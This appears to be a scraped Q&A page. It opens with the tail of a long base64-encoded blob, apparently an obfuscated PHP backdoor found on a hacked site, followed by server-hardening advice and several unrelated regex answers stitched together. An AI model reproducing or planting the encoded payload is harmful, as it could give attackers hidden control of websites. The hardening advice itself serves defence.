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"));
?>
How to lock down your server:
There are a number of ways this could have gotten on your site. Most likely you have been hacked using Exploit Code because one of your web applications is out of date. Try updating everything, including libraries. Change passwords for everything, especially FTP, although should be using sftp or ftps.
If you control your MySQL server make sure your web application's MySQL user account is not root
, and make sure you remove MySQL FILE
privileges from the account. You should also go a step further and do a chmod 500 -R /path/to/web/root
and do a chown www-data -R /path/to/web/root
www-data is a common user for apache, but it might be differnt for your system try running <?php system("whoami")?>
to figure out the user account.
Next run phpsecinfo. Modify your php.ini or .htaccess and remove all RED, and try and remove as much yellow as possible.
Is a single big regex more efficient than a bunch of smaller ones?
It depends what kind of big regex you write. If you end with a pathological pattern it's better to test smaller patterns. Example:
UK[A-Za-z]{10}|DE[A-Za-z]{20}|PL[A-Za-z]{7}
this pattern is very inefficient because it starts with an alternation, this means that in the worst case (no match) each alternative needs to be tested for all positions in the string.
(* Note that a regex engine like PCRE is able to quickly find potentially matching positions when each branch of an alternation starts with literal characters.)
But if you write your pattern like this:
(?=[UDP][KEL])(?:UK[A-Za-z]{10}|DE[A-Za-z]{20}|PL[A-Za-z]{7})
or the variation:
[UDP][KEL](?:(?<=UK)[A-Za-z]{10}|(?<=DE)[A-Za-z]{20}|(?<=PL)[A-Za-z]{7})
Most of the positions where the match isn't possible are quickly discarded before the alternation.
Also, when you write a single pattern, obviously, the string is parsed only once.
Regex for huge string
You could use the following regex.
-\s*(\S+)\s*\(\s*=\s*(\S+)\s*\)
Your key match results will be in capturing group #1
and the value match results will be in group #2
Rubular
what does this regex mean [^]*
Match 0 or more characters, which are not >
. The ^
as the first item in character class []
will make the character class a negated character class, and any character after ^
are excluded.
this regex is true but does not work in localhost
You need to use a single quoted literal to make \1
be treated as a backreference (otherwise, you need to double escape it).
Also, to match either 1+ whitespaces or a ~
you need to use grouping with parentheses, not a character class. Note that [\s+|\~]
matches 1 character: a whitespace, a +
, |
or a ~
, and I doubt you actually want that behavior.
Use
$s = "{block content\nddggggggggggggggg\n/endcontent}";
$pt='~\{\s*block\s*-?\s*(\w+)(\s+|\~)(.*)\/end\1}~s';
preg_match($pt, $s, $match1);
print_r($match1);
See the IDEONE demo
How can convert this regex to R regex and regex R usage
You can use
x <- ">XP_002499978.1 predicted protein [Micromonas commoda]"
x <- gsub("(?:\\G(?!^)|\\[)[^][\\s]*\\K\\s+", "_", x, perl=TRUE) # Replace spaces in [ ]
## [1] ">XP_002499978.1 predicted protein [Micromonas_commoda]"
sub("^>(\\S+).*\\[([^][]*)].*", ">\\2_\\1", x) # Reformat the string
## => [1] ">Micromonas_commoda_XP_002499978.1"
There are two actions here:
gsub("(?:\\G(?!^)|\\[)[^][\\s]*\\K\\s+", "_", x, perl=TRUE)
replaces all whitespace chunks inside square brackets with a single_
sub("^>(\\S+).*\\[([^][]*)].*", ">\\2_\\1", x)
reformats the string.
See the regex #1 demo and the regex #2 demo.
Regex for this pattern: @ or # + 1 or 2 words + : + 1 words or more + link does not work
Give this a try
[@|#]((?:\w+\s?){1,2}):\s?((?:\w+\s?){1,})((?:http|https):\/\/.+)
test
@hello sss: xxx https://t.co/3WHshzDG7m
#hello sss: xxx another word https://t.co/3WHshzDG7m
#hello sss third: xxx another word https://t.co/3WHshzDG7m
Result
MATCH 1
- [1-10]
hello sss
- [12-16]
xxx
- [16-39]
https://t.co/3WHshzDG7m
- [1-10]
MATCH 2
- [41-50]
hello sss
- [52-69]
xxx another word
- [69-92]
https://t.co/3WHshzDG7m
- [41-50]
Online demo https://regex101.com/r/zU7lP2/1
Another version if you do not want to fix the link protocol
[@|#]((?:\w+\s?){1,2}):\s?((?:\w+\s?){1,})((?<=\s)\w+:\/\/.+)
Online demo https://regex101.com/r/zU7lP2/2
Match multiple instances of mysteriously ordered complex regular expression non-capturing groups
You shouldn't give the regex engine the option to match nothing.
It will roam around finding a lot of 'nothing' before it finds an optional something.
edit
If you just want a block match (any order, but sequential) something like this will work.
Your way now, with modifications:
(?:
(?: Section ... (?<sec_7> 7)
)
| (?: Section ... (?<sec_C> C)
)?
| (?: Section ... (?<sec_Z> Z)
)
)
(?: Section ... (?!\k<sec_7>) (?<sec_7> 7) )?
(?: Section ... (?!\k<sec_C>) (?<sec_C> C) )?
(?: Section ... (?!\k<sec_Z>) (?<sec_Z> Z) )?
If it can be factored, then this way:
(?: Section ... (?<sec_a>(?:7|C|Z) )
(?: Section ... (?<sec_b>(?!\k<sec_a>)(?:7|C|Z) )?
(?: Section ... (?<sec_c>(?!\k<sec_a>|\k<sec_b>)(?:7|C|Z) )?
#
# Then after match check <sec_a/b/c> for its value
If you don't care about a block match:
Your case revolves around just an OR condition.
So, it could be as easy as this:
# base 10 statistic sections
(?: ..)
|
(?: ..)
|
(?: ..)
Where each match in 'base 10' section match has to be checked in a while loop as
Match m = Regex.Match(input, regex, RegexOptions.IgnorePatternWhitespace);
while (m.Success)
{
if (m.Groups["base10_Section7"].Success) { }
else
if (m.Groups["base10_SectionZ"].Success) { }
else
if (m.Groups["base10_SectionC"].Success) { }
m = m.NextMatch();
}
Even this can be reduced. For instance 7,Z,C can be combined in a single chunk.
This will leave the OR (|) for other distinct items to match, like say, 'base 2',
or any other form. One form will match. It has to be checked anyway.
Related Topics
Default as First Option in Switch Statement
Detect If Cookies Are Enabled in PHP
PHP Remember File Field Contents
Php, Merging Arrays with Common Keys
Using Gcm to Send Notifications on App, Returns Invalidregistration Error
Is There a Limit When Using PHP Mail Function
How to Decode a JSON String in PHP
How to Get Around or Make PHP JSON_Decode Not Alter My Very Large Integer Values
Remove Attribute Values from Product Variation Title and Show Them on Separate Rows
How to Sum All Values of a Specific Array Key Recursively
How to Http Post Special Chars in Swift